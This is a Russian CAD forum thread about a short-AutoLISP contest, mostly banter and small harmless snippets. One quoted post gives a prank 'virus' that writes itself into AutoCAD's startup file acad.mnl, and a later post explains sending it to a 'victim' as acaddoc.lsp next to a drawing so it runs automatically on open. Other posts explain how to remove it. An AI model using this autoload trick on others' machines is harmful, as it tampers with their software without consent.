Конкурс на лучший короткий лисп - Страница 2
| Правила | Регистрация | Пользователи | Сообщения за день |  Справка по форуму | Файлообменник |

Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Конкурс на лучший короткий лисп

Конкурс на лучший короткий лисп

Ответ
Поиск в этой теме
Непрочитано 25.12.2010, 15:43
Конкурс на лучший короткий лисп
gomer
 
строю, ломаю
 
Украина
Регистрация: 03.04.2008
Сообщений: 5,515

Предлагаю провести конкурс на лучшую короткую лисп программу
Условия:
1. Не плагиат...
2. длина программы - не более 1 kb...
3. Каждый может выставлять любое количество программ... на свое усмотрение...
4. Победитель определяется по количеству благодарностей...
5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...

От себя выставлю такую программку

Код:
[Выделить все]
(defun c:testent ()
  (vl-load-com)
  (cond
	((vl-catch-all-error-p
	  (vl-catch-all-apply
		'(lambda ()
		  (vlax-dump-object
			(vlax-ename->vla-object
			  (car (entsel))))))))
	((textscr))
  )
  (princ)
)
Просмотров: 9325
 
Автор темы   Непрочитано 27.12.2010, 17:55
#21
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


Цитата:
Сообщение от AlexV Посмотреть сообщение
Не претендую на звания "самый лучший" или "самый полезный".. Но вот на "самый короткий", - попробую:
Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант:
ну и самый короткий:




Последний раз редактировалось gomer, 28.12.2010 в 00:19.
gomer вне форума  
 
Непрочитано 27.12.2010, 21:32
#22
Li6-D


 
Регистрация: 03.05.2009
Сообщений: 112


В конкурсах перед всеми конкурсантами должна быть поставлена одна и та же задача.
Критерий победы - минимальное количество символов, без учета комментариев, подсказок (текста в кавычках), пробелов и табуляции. Скорость выполнения кода не учитывается, если нет зависания.
Осталось договориться откуда брать конкурсные задачи (можно из форума, если они поставлены корректно, но ответа пока не дано).
Например такая: написать код для подсчета количества значимых символов в коде.

Последний раз редактировалось Li6-D, 27.12.2010 в 21:53.
Li6-D вне форума  
 
Непрочитано 27.12.2010, 22:37
#23
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,706


Цитата:
Сообщение от gomer Посмотреть сообщение
Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант:
ну и самый короткий:
Я конечно не лиспописатель, и даже не лиспочитатель.. Но автокад эти лиспы тоже не понимает..

Код:
[Выделить все]
Команда: ;
Неизвестная команда ";".  Для вызова справки нажмите F1.
Команда: :)
Неизвестная команда ":)".  Для вызова справки нажмите F1.
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!
AlexV вне форума  
 
Непрочитано 27.12.2010, 23:28
#24
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,450


Вообще-то на theswamp.org очень много самых разных конкурсов. Обычно их проводят так: автор темы объявляет какую-либо задачу (например, "Соединить отрезками любые две пары точек, расстояние между которыми не превышает заданного значения". При необходимости прикладывается пример dwg (в оговоренном формате - 2004, 2007 или 2010), показываются картинки: что есть изначально и что должно получиться в конце. Автор (как правило) показывает свое решение.
И народ начинает решать поставленную задачу. Кто быстрее, кто универсальнее, кто устойчивее... Бывает, что показываются решения на нескольких языках программирования.
Ну и заголовок выделяется, например: "-- { Конкурс } -- <Название конкурса>".
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.
Кулик Алексей aka kpblc вне форума  
 
Автор темы   Непрочитано 28.12.2010, 00:23
#25
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


Цитата:
Сообщение от AlexV Посмотреть сообщение
Я конечно не лиспописатель, и даже не лиспочитатель.. Но автокад эти лиспы тоже не понимает..
Не понимает... эту библиотеку нужно подгружать из файла:
Код:
[Выделить все]
(load "empty.lsp") ; empty.lsp - пустой файл
gomer вне форума  
 
Непрочитано 28.12.2010, 10:06
#26
VVA

Инженер LISP
 
Регистрация: 11.05.2005
Минск
Сообщений: 6,996


Цитата:
Сообщение от Кулик Алексей aka kpblc Посмотреть сообщение
"-- { Конкурс } -- <Название конкурса>".
Идея хорошая. В качестве первого примера (немного изменив тему):
Конкурс. Пребразование в число при возможности
__________________
Как использовать код на Лиспе читаем здесь
VVA вне форума  
 
Непрочитано 28.12.2010, 10:43
#27
Profan


 
Регистрация: 25.12.2005
Москва
Сообщений: 13,626


А судьи кто? Судьями должны быть пользователи, ЯТД.
Profan вне форума  
 
Непрочитано 28.12.2010, 10:45
#28
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,706


Цитата:
Сообщение от Profan Посмотреть сообщение
А судьи кто?..
А призы где?
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!
AlexV вне форума  
 
Непрочитано 28.12.2010, 10:47
#29
Profan


 
Регистрация: 25.12.2005
Москва
Сообщений: 13,626


А где деньги?
Profan вне форума  
 
Автор темы   Непрочитано 28.12.2010, 16:46
#30
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


Цитата:
Сообщение от Profan Посмотреть сообщение
А судьи кто?
Цитата:
Сообщение от AlexV Посмотреть сообщение
А призы где?
Цитата:
Сообщение от Profan Посмотреть сообщение
А где деньги?
Код:
[Выделить все]
(defun question (be / tmp)
 (or (setq tmp (+ be be)) (not tmp))
)
gomer вне форума  
 
Непрочитано 28.12.2010, 22:43
#31
Кулик Алексей aka kpblc
Moderator

LISP, C# (ACAD 200[9,12,13,14])
 
Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,450


Цитата:
Сообщение от VVA Посмотреть сообщение
Идея хорошая. В качестве первого примера (немного изменив тему):
Конкурс. Пребразование в число при возможности
Если автор будет не против... Хотя там начального кода от автора не было, ну да ладно - первый ком блином
---
Добавлено: Автор темы http://forum.dwg.ru/showthread.php?t=61712 дал добро, я название изменил
__________________
Моя библиотека lisp-функций
---
Обращение ко мне - на "ты".
Все, что сказано - личное мнение.

Последний раз редактировалось Кулик Алексей aka kpblc, 29.12.2010 в 21:01.
Кулик Алексей aka kpblc вне форума  
 
Непрочитано 06.01.2011, 12:46
#32
ashas-


 
Регистрация: 05.01.2011
Сообщений: 83


Цитата:
Сообщение от Krieger Посмотреть сообщение
Коротенький, незатейливый, но достать может
Код:
[Выделить все]
    (setq aa (open (findfile "acad.mnl") "A"))
  (write-line
    "(entmake '((0 . \"MTEXT\") (100 . \"AcDbEntity\") (100 . \"AcDbMText\") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")
    )
  )
  (command \"_Zoom\" \"_Object\" \"_Last\" \"\")"
    aa)
  (close aa)
  (setq aa nil)
  )
(entmake '((0 . "MTEXT") (100 . "AcDbEntity") (100 . "AcDbMText") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . "Здравствуйте, я ВИРУС!!!\\PК сожалению, программист, который меня\\Pписал ничего из себя не представляет.\\PПоэтому, пожалуйста, удалите у себя \\Pкакой-нибудь важный файл и передайте \\Pменя своим друзьям.")
    );list
  );list entmake
  (command "_Zoom" "_Object" "_Last" "")
Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .
ashas- вне форума  
 
Непрочитано 06.01.2011, 13:00
#33
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,706


Цитата:
Сообщение от ashas- Посмотреть сообщение
Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .

Цитата:
(1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")
Важный файл удалял? Друзьям лисп передавал? По колесам системному блоку стучал? Антивирус бензином протирал? К автору обращался?

почитай эту тему..
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!

Последний раз редактировалось AlexV, 06.01.2011 в 13:12.
AlexV вне форума  
 
Непрочитано 06.01.2011, 13:16
#34
Li6-D


 
Регистрация: 03.05.2009
Сообщений: 112


Цитата:
Сообщение от ashas-
Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может
Этот лисп дописывает в файл "acad.mnl" строчки вида:
(entmake ... (command "_Zoom" "_Object" "_Last" "").
Надо удалить эти строчки оттуда ручками.
Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")


Последний раз редактировалось Li6-D, 06.01.2011 в 13:32.
Li6-D вне форума  
 
Непрочитано 06.01.2011, 13:48
#35
ashas-


 
Регистрация: 05.01.2011
Сообщений: 83


Цитата:
Сообщение от Li6-D Посмотреть сообщение
Этот лисп дописывает в файл "acad.mnl" строчки вида:
(entmake ... (command "_Zoom" "_Object" "_Last" "").
Надо удалить эти строчки оттуда ручками.
Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")

Спасибо!
ashas- вне форума  
 
Непрочитано 06.01.2011, 13:58
#36
VES1


 
Регистрация: 19.12.2010
Сообщений: 532


Цитата:
Сообщение от lastloch Посмотреть сообщение
Функция отоображает колесо истории:
Код:
[Выделить все]
(alert "Кукуруза, Коммунизм, Перестройка, Ускорение, Демократия, Модернизация, Нанотехнолгии, .....")
Слава Богу не мировой.
VES1 вне форума  
 
Непрочитано 06.01.2011, 16:52
#37
Krieger

инженер (КМ)
 
Регистрация: 30.10.2004
Красноярск
Сообщений: 3,837


Цитата:
Сообщение от ashas- Посмотреть сообщение
Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может .
+1
Ну, таблетку дали...
Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал
__________________
Делай хорошо, плохо само получится.
Krieger вне форума  
 
Непрочитано 06.01.2011, 17:02
#38
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,706


Цитата:
Сообщение от Krieger Посмотреть сообщение
+1
Ну, таблетку дали...
Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал
Krieger, ты наверное работу менял, и решил над недобрым шефом на старой работе пошутить?
Однако, претендент на приз есть!
А механизм етого лиспа каков? Добавляет в acad.mnl функцию "aa", которая подменяет Zoom, выбор объектов и ввод последней команды созданием соответствующего МТекста?
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!
AlexV вне форума  
 
Автор темы   Непрочитано 06.01.2011, 20:25
#39
gomer

строю, ломаю
 
Регистрация: 03.04.2008
Украина
Сообщений: 5,515


>AlexV: А слабо в стихах налиспить
gomer вне форума  
 
Непрочитано 06.01.2011, 20:45
#40
AlexV

Инженер
 
Регистрация: 02.10.2008
С-Пб
Сообщений: 3,706


Цитата:
Сообщение от gomer Посмотреть сообщение
>AlexV: А слабо в стихах налиспить
Увы, не знаю я этот язык почти.. Могу наVBA-ть..
__________________
...Не пытайся гнуть ты ложку,
Не вяжи её узлом.
Ложка - ложка понарошку,
А по правде, - это лом!
AlexV вне форума  
Ответ
Вернуться   Форум DWG.RU > Программное обеспечение > Программирование > LISP > Конкурс на лучший короткий лисп



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Интересно где работают ЛИСП программисты? dextron3 LISP 114 17.12.2017 13:53
Лисп включение панели, если включена, то не срабатывает dextron3 LISP 4 14.11.2009 12:59
Лисп: моментальное редактирование цифр в предложениях dextron3 LISP 12 27.09.2008 09:33
Лисп для копирования данных нескольких мтекстов по принципу расположения. Red Nova LISP 14 18.06.2008 22:08
Нужен лисп (пронизыватель лайаутов) dextron3 LISP 91 25.07.2007 07:37